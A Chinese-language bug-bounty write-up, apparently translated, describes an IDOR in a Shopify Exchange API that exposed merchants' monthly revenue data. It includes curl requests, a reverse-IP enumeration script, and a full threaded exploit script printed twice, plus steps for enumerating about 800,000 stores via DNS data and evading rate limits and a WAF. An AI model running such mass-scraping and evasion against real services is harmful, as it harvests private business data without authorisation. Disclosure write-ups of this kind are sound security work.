您好!什么联系您?
简介
大约一年前的时候,我测试过Shopify,从那个时候起,我就写了个脚本监控他家的资产,主要是跟踪新的api以及url。几个月之后我收到一个新的通知:
> /shops/REDACTED/traffic_data.json
> /shops/REDACTED/revenue_data.json
老实说,我没有那么时间去检查那么多的资产,每次有新的提醒,我就花几个小时看看,主要还是靠自动化。
回到话题
这意味着最后一个api已经从子域中删除,这是一个不错的提醒,让我想深入了解发生了什么事情,并调查它被删除的原因。
目标极有可能存在漏洞
经过排查,REDACTED
是一个商店的名字,REDACTED .myshopify.com
是商店的链接,它在https://exchangemarketplace.com/shops/
上面进行销售,别名是https://exchange.shopify.com
。
然后进行测试:
(sample data)
$ curl -s https://exchange.shopify.com/shops/$storeName/revenue_data.json
{"2018–03–01":102.81,"2018–04–01":13246.83,"2018–05–01":29865.84,"2018–06–01":45482.13,"2018–07–01":39927.62,"2018–08–01":25864.51,"2018–09–01":14072.72,"2018–10–01":2072.16,"2018–11–01":13544.78,"2018–12–01":26824.54,"2019–01–01":31570.89,"2019–02–01":18336.71}
明显泄漏了目标的数据,api泄漏的数据应该在内部才可以查看,暴露了商店的数据:
我发现用一个api泄漏了另一家商店的数据,这里可以确定存在IDOR
漏洞,也就是不安全的对象引用漏洞,主要是通过更换$storeName
的值去拿到数据。
所以,我想测试一下我自己建立的商店是否也会有这个问题。
$ curl -I https://exchangemarketplace.com/shops/$newStore/revenue_data.json
HTTP/2 404
server: nginx/1.15.9
date: Fri, 29 Mar 2019 20:28:18 GMT
content-type: application/json
vary: Accept-Encoding
vary: Accept-Encoding
x-request-id: 106906213c97052838ccaaaa54d8e438
404?
看来没我想的那么简单,证据不充分,说是漏洞肯定要被忽略的,那么只有通过大量的案例来证明我的猜想。
第一个挑战就是我们需要得到一个商店名单。
攻击过程:
- 建立一个wordlist,来源于
storeName.myshopify.com
- 然后循环
/shops/$storeName/revenue_data.json
- 过滤出有漏洞的域名
- 分析受影响的商店以找出观察到的行为或漏洞产生的根本原因
得到 da wordlist
第一种方法是根据反查ip,得到所有A类型的DNS记录。
快速查询$storeName.myshopify.com
的DNS记录
; <<>> DiG 9.10.6 <<>> REDACTED.myshopify.com
<...>
REDACTED.myshopify.com. 3352 IN CNAME shops.myshopify.com.
shops.myshopify.com. 1091 IN A 23.227.38.64
所以REDACTED.myshopify.com
的CNAME指向shops.myshopify.com
,本身指向23.227.38.64
,幸运的事,没有反向代理waf,我用自己写的一个脚本来查询:
import requests
import json
import sys
import argparse
_strip = ['http://', 'https://', 'www']
G = '\033[92m'
Y = '\033[93m'
R = '\033[91m'
W = '\033[0m'
I = '\033[1;37;40m'
def args():
parser = argparse.ArgumentParser()
parser.add_argument('domain')
return parser.parse_args()
def banner():
print("""{}
_____ _____ _____
| __ \ |_ _| __ \
| |__) |_____ _| | | |__) |
| _ // _ \ \ / / | | ___/
| | \ \ __/\ V /| |_| |
|_| \_\___| \_/_____|_| {}
{} By @_ayoubfathi_{}
""".format(Y, W, R, W))
#Domain validation
def clean(domain):
for t in _strip:
if t in domain:
print("Usage: python revip.py domain.com")
sys.exit()
else:
pass
# retrieving reverseip domains
def rev(dom):
# YouGetSignal API Endpoint
_api = "https://domains.yougetsignal.com/domains.php"
# POST data
_data = {'remoteAddress': dom}
# Request Headers
_headers = {
'Host': "domains.yougetsignal.com",
'Connection': "keep-alive",
'Cache-Control': "no-cache",
'Origin': "http://www.yougetsignal.com",
'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/53.0.2785.143 Chrome/53.0.2785.143 Safari/537.36",
}
# Response
try:
response = requests.post(
_api,
headers=_headers,
data=_data,
timeout=7).content
_json = json.loads(response)
# parsing domains from response
# if _json['status'] == 'Fail':
#print("Daily reverse IP check limit reached")
# sys.exit(1)
content = _json['domainArray']
print(
"\033[33m\nTotal of domains found: {}\n---------------------------\033[0m\n".format(
_json['domainCount']))
for d, u in content:
print("{}{}{}".format(W, d, W))
except BaseException:
print(
"Usage: python revip.py domain.com\nThere is a problem with {}.".format(dom))
if __name__ == '__main__':
domain = args().domain
banner()
clean(domain)
rev(domain)
得到差不多1000个url
下面需要验证是否存在漏洞。
测试失败
我新写了一个脚本,主要负责:
- 将revip.py的输出结果传递给另外一个脚本。
- 从每个域名里提取类似
.myshopify.com
的url - 提取商店名字
- 自动化检测
/shops/$storeName/revenue_data.json
expoloit.py
import json
import requests
import bs4 as bs
from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import ProcessPoolExecutor
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
_headers = {
'User-Agent': 'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
def myshopify(shops):
try:
source = requests.get("https://" + shops).text
soup = bs.BeautifulSoup(source, 'html.parser')
scripts = soup.find_all('script')
for script in scripts:
if 'window.Shopify.Checkout.apiHost' in script.text:
index1 = script.text.index('"')
index2 = script.text.index('myshopify')
StoreName = script.text[index1 + 1:index2 - 2]
with open('shops.txt', 'a') as output:
output.write(StoreName + "\n")
except BaseException:
pass
def almostvuln(StoreName):
POC_URL = "https://exchangemarketplace.com/shops/{}/revenue_data.json".format(
StoreName)
try:
_Response = requests.get(
POC_URL,
headers=_headers,
verify=False,
allow_redirects=True)
if _Response.status_code in [200, 304]:
vuln_stores.append(StoreName)
print(StoreName)
elif _Response.status_code == 404:
pass
else:
print(_Response.status_code)
except BaseException:
pass
return vuln_stores
if __name__ == '__main__':
try:
shops = [line.rstrip('\n') for line in open('wordlist.txt')]
with ThreadPoolExecutor(max_workers=50) as executor:
executor.map(myshopify, shops)
vuln_stores = [line.rstrip('\n') for line in open('shops.txt')]
with ThreadPoolExecutor(max_workers=50) as executor1:
executor1.map(almostvuln, vuln_stores)
except KeyboardInterrupt:
print("")
运行后的结果
WTF?
因此,在1000家商店中,我只能识别出四家商店有问题,其中三家在交易市场上市,因此预计他们的销售数据会公开的,一家商店已经被停用了(这么Lucky的吗,嗯?)
因此,我认为这玩意没有任何安全影响,我停止了几周的测试(比较忙),并决定过阵子回来探索更多的可能性并继续挖掘。
一千年以后......
几周之后,我又回到了上面提到的API请求并开始继续研究它。我无法从中获取任何有用的信息,因此我决定采用不同的方法来解决这个问题。
为了获得更多要分析的数据,我们将从1000个商店的测试切换到更大的样本(数千,数百万),下一节将详细介绍新方法。
新的思路
怎么找到所有现有Shopify商店的最佳方式?
我想到的第一件事是扫描互联网,但是当我们有其他数据时,就可以不用这么麻烦。
对于这项特定的研究,我将使用公共的DNS转发数据。使用此方法,我们不需要从给定的域名列表生成商店名称。相反,我们将使用FDNS
获取shops.myshopify.com(所有商店的指向)的反向CNAME记录
ps:FDNS就是DNS转发
我使用了一个规格很大的实例然后下载了这项研究所需要的数据。
现在,我们将寻找与shops.myshopify.com匹配的CNAME记录,其中Shopify正在托管他们的商店。
在检查有多少商店可用时,我发现:
完美!
此时,我们已经完成了wordlist,继续使用前面的exploit.py。
Exploit
import json
import requests
import bs4 as bs
from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import ProcessPoolExecutor
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
_headers = {
'User-Agent': 'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}
def myshopify(shops):
try:
source = requests.get("https://" + shops).text
soup = bs.BeautifulSoup(source, 'html.parser')
scripts = soup.find_all('script')
for script in scripts:
if 'window.Shopify.Checkout.apiHost' in script.text:
index1 = script.text.index('"')
index2 = script.text.index('myshopify')
StoreName = script.text[index1 + 1:index2 - 2]
with open('shops.txt', 'a') as output:
output.write(StoreName + "\n")
except BaseException:
pass
def almostvuln(StoreName):
POC_URL = "https://exchangemarketplace.com/shops/{}/revenue_data.json".format(
StoreName)
try:
_Response = requests.get(
POC_URL,
headers=_headers,
verify=False,
allow_redirects=True)
if _Response.status_code in [200, 304]:
vuln_stores.append(StoreName)
print(StoreName)
elif _Response.status_code == 404:
pass
else:
print(_Response.status_code)
except BaseException:
pass
return vuln_stores
if __name__ == '__main__':
try:
shops = [line.rstrip('\n') for line in open('wordlist.txt')]
with ThreadPoolExecutor(max_workers=50) as executor:
executor.map(myshopify, shops)
vuln_stores = [line.rstrip('\n') for line in open('shops.txt')]
with ThreadPoolExecutor(max_workers=50) as executor1:
executor1.map(almostvuln, vuln_stores)
except KeyboardInterrupt:
print("")
然后放到VPS上,因为wordlist比较大,我可不想傻傻的等,我也要睡觉的.
大约一个小时试着睡觉......
这个图比较真实...
我放弃了睡觉的想法并立即打开我的电脑,登录到我的vps,我看到的是数以千计的403错误.
我猜测应该是被ban ip了
有WAF.....
不管了,先去睡觉.
然后我又写了一个脚本来测试.
这基本上将800K家商店名称作为输入(stores-exchange.txt),发送到curl请求以检索销售数据,在将数据打印到stdout之前,将使用DAP库在同一个JSON响应中插入商店名称。
这次我们的脚本会很慢,因为你知道bash是单线程的,这是我们可以绕过速率限制策略的唯一方法,我运行脚本并从我的实例中注销...
几天后,我重新登录我的实例检查结果,look:
我们获取了Shopify商家的销售数据,其中包括从2015年到今天每月数千家商店的收入细节。
我们有存在漏洞的商店名单,所以如果我们像查询谁的话,我可以看到他所有的收入细节.
这是Shopify商家从2015年至今的销售数据。
根据CVSS 3.0,这次的发现的得分为7.5-high,这反映了漏洞,客户流量和收入数据的重要性,这其中并不需要任何特权或用户交互来获取信息。
根本原因分析
基于以上数据和几天的研究,我得出的结论是,这是由Shopify Exchange App
(现在是由商家主动去使用)引起的,这个应用程序仅在此漏洞出现前几个月才推出。任何安装了Exchange App的商家都会受到这个攻击。
之后,我迅速将所有信息和数据汇总到报告中,提交给Shopify 的bug bounty.
Wing碎碎念:在提交漏洞过程中,这个作者和Shopify 好像有点争执,可能是因为违反了他们的规定,结果是好的就行,渗透道路千万条,安全法规心中记.
最后,感谢Shopify团队,特别感谢Peter Yaworski,非常乐于助人和支持我。我仍然强烈建议他们继续对程序进行安全测试,因为他们处理漏洞报告的速度很快.